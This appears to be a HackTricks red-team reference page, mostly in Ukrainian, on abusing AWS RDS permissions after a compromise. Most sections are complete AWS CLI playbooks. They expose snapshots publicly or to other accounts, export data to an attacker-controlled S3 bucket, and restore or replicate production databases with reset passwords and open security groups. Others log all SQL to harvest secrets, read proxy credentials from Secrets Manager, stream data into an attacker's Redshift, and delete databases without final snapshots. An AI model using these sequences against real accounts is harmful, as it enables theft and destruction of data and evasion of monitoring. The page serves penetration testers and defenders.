AWS - RDS Post Exploitation

Reading time: 22 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

RDS

Для отримання додаткової інформації див.:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Якщо в нападника є достатні дозволи, він може зробити DB publicly accessible, створивши snapshot DB, а потім публічно доступну DB зі snapshot.

bash
aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Зловмисник, який має rds:StopDBCluster або rds:StopDBInstance, може примусово негайно зупинити RDS instance або весь кластер, спричинивши недоступність бази даних, розриви з'єднань та переривання процесів, що залежать від бази даних.

Щоб зупинити один DB instance (приклад):

bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Щоб зупинити весь DB-кластер (приклад):

bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Delete*

Зловмисник, якому надано rds:Delete*, може видаляти ресурси RDS, знищуючи DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов'язані артефакти, що спричинить негайний простій сервісу, втрату даних, знищення точок відновлення та втрату судово-експертних доказів.

bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

An attacker з цими дозволами міг би створити snapshot бази даних (DB) і зробити його публічно доступним. Потім він міг би просто створити у своєму акаунті DB з цього snapshot.

Якщо attacker не має rds:CreateDBSnapshot, він все одно може зробити інші створені snapshots публічними.

bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Зловмисник із дозволом rds:DownloadDBLogFilePortion може завантажувати частини лог-файлів екземпляра RDS. Якщо чутливі дані або облікові дані доступу випадково потрапили в логи, зловмисник потенційно може використати цю інформацію для підвищення привілеїв або виконання несанкціонованих дій.

bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Потенційний вплив: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials.

rds:DeleteDBInstance

Зловмисник з цими дозволами може виконати DoS над існуючими RDS інстансами.

bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Потенційний вплив: видалення існуючих RDS інстансів та потенційна втрата даних.

rds:StartExportTask

note

TODO: Перевірити

Зловмисник з цим дозволом може експортувати знімок екземпляра RDS у S3 bucket. Якщо зловмисник контролює цільовий S3 bucket, він може потенційно отримати доступ до конфіденційних даних в експортованому знімку.

bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Потенційний вплив: Доступ до конфіденційних даних в експортованому snapshot.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Зловживати cross-Region automated backups replication, щоб непомітно дублювати automated backups екземпляра RDS в інший регіон AWS і відновлювати їх там. Зловмисник може потім зробити відновлену DB загальнодоступною і скинути master password, щоб отримати доступ до даних поза межами моніторингу в регіоні, який захисники можуть не відслідковувати.

Permissions needed (minimum):

  • rds:StartDBInstanceAutomatedBackupsReplication у регіоні призначення
  • rds:DescribeDBInstanceAutomatedBackups у регіоні призначення
  • rds:RestoreDBInstanceToPointInTime у регіоні призначення
  • rds:ModifyDBInstance у регіоні призначення
  • rds:StopDBInstanceAutomatedBackupsReplication (необов'язкове прибирання)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (щоб відкрити доступ до відновленої DB)

Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.

Повний CLI-процес (замініть заповнювачі)
bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table

# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7

# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

Увімкнути повне SQL logging через DB parameter groups та ексфільтрувати через RDS log APIs

Зловживати rds:ModifyDBParameterGroup разом із RDS log download APIs, щоб захопити всі SQL-вирази, які виконуються додатками (не потрібні облікові дані DB engine). Увімкніть engine SQL logging та завантажте лог-файли через rds:DescribeDBLogFiles і rds:DownloadDBLogFilePortion (або REST downloadCompleteLogFile). Корисно для збору запитів, що можуть містити secrets/PII/JWTs.

Permissions needed (minimum):

  • rds:DescribeDBInstances, rds:DescribeDBLogFiles, rds:DownloadDBLogFilePortion
  • rds:CreateDBParameterGroup, rds:ModifyDBParameterGroup
  • rds:ModifyDBInstance (only to attach a custom parameter group if the instance is using the default one)
  • rds:RebootDBInstance (for parameters requiring reboot, e.g., PostgreSQL)

Steps

  1. Recon target and current parameter group
bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Переконайтеся, що приєднано власний DB parameter group (за замовчуванням його редагувати не можна)
  • Якщо інстанс уже використовує власну групу, повторно використайте її назву на наступному кроці.
  • Інакше створіть і приєднайте одну, що відповідає engine family:
bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Увімкнути детальне журналювання SQL
  • Движки MySQL (негайно / без перезавантаження):
bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL engines (потрібне перезавантаження):
bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Дайте workload працювати (або згенеруйте запити). Запити будуть записані до файлів журналів engine
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Знайдіть і завантажте логи (DB creds не потрібні)
bash
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Проаналізуйте офлайн на предмет конфіденційних даних
bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Приклад доказів (редаговано):

text
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Очищення

  • Повернути параметри до значень за замовчуванням і reboot, якщо потрібно:
bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів додатка через AWS APIs (no DB creds), ймовірне leaking секретів, JWTs та PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Зловживання RDS read replicas для отримання out-of-band доступу для читання без торкання облікових даних primary instance. Зловмисник може створити read replica з production instance, скинути master password репліки (це не змінює primary) і, за потреби, виставити репліку публічно для exfiltrate даних.

Необхідні дозволи (мінімум):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (якщо виставляється публічно)

Вплив: Read-only доступ до production-даних через репліку з credentials під контролем зловмисника; нижча ймовірність виявлення, оскільки primary залишається недоторканим і реплікація продовжується.

bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Приклад доказів (MySQL):

  • Стан репліки БД: available, реплікація для читання: replicating
  • Успішне підключення з новим паролем і @@read_only=1, що підтверджує доступ до репліки лише для читання.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Зловживання RDS Blue/Green для клонування продуктивної БД у постійно репліковане, лише для читання green середовище. Потім скиньте основні облікові дані green, щоб отримати доступ до даних без торкання blue (prod) інстансу. Це більш приховано, ніж обмін снапшотами, і часто обходить моніторинг, орієнтований лише на джерело.

bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Вплив: Доступ лише для читання, але повний доступ до даних майже в реальному часі з клону production без змін у production-інстансі. Корисно для stealthy витягання даних та офлайн-аналізу.

Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

Зловживати Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення під вашим контролем і виконувати SQL через HTTPS (не потрібен мережевий шлях VPC). Працює на Aurora-двигунах, які підтримують Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).

Дозволи (мінімальні):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (та rds-data:BatchExecuteStatement, якщо використовується)

Вплив: Обхід сегментації мережі та exfiltrate дані через AWS APIs без прямого VPC-з'єднання з DB.

Повний приклад CLI (Aurora MySQL)
bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)

# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately

# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text

# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done

# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)

# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON

Примітки:

  • Якщо rds-data відхиляє multi-statement SQL, виконуйте окремі виклики execute-statement.
  • Для двигунів, у яких modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
  • Переконайтесь, що engine/version дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False.

Отримання облікових даних БД через секрети автентифікації RDS Proxy (rds:DescribeDBProxies + secretsmanager:GetSecretValue)

Зловживання конфігурацією RDS Proxy для виявлення секрету Secrets Manager, який використовується для автентифікації бекенду, після чого зчитування цього секрету для отримання облікових даних бази даних. У багатьох середовищах надається широке secretsmanager:GetSecretValue, що робить це низькоперешкодним шляхом до облікових даних БД. Якщо секрет використовує CMK, неправильно сфокусовані дозволи KMS також можуть дозволяти kms:Decrypt.

Необхідні дозволи (мінімум):

  • rds:DescribeDBProxies
  • secretsmanager:GetSecretValue для вказаного SecretArn
  • Опційно, якщо секрет використовує CMK: kms:Decrypt для цього ключа

Вплив: негайне розкриття імені користувача/пароля БД, налаштованих на проксі; дає змогу прямого доступу до БД або подальшого латерального руху.

Кроки

bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Лабораторія (мінімальні умови для відтворення)

bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Очищення (лабораторія)

bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Непомітна безперервна ексфільтрація через Aurora zero‑ETL в Amazon Redshift (rds:CreateIntegration)

Зловживання інтеграцією Aurora PostgreSQL zero‑ETL для безперервної реплікації продукційних даних у Redshift Serverless namespace, який ви контролюєте. За наявності надмірно відкрита політика ресурсів Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного ARN кластера Aurora, атакувальник може встановити майже реальну копію даних без DB creds, snapshots або мережевого доступу.

Permissions needed (minimum):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Створити Redshift Serverless namespace + workgroup
bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
2) Налаштуйте політику ресурсів Redshift, щоб дозволити джерело Aurora
bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
3) Створити Aurora PostgreSQL кластер (увімкнути Data API та logical replication)
bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zero‑ETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
4) Створити zero‑ETL інтеграцію з RDS
bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
5) Матеріалізувати та виконувати запити до реплікованих даних у Redshift
bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration"  # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"

Докази, виявлені під час тестування:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
  • SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 та state PendingDbConnectState перед створенням бази даних.
  • Після CREATE DATABASE FROM INTEGRATION, перелік таблиць показав схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob).

Вплив: Постійна майже в режимі реального часу exfiltration обраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання database credentials, backups або мережевого доступу до вихідного кластера.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks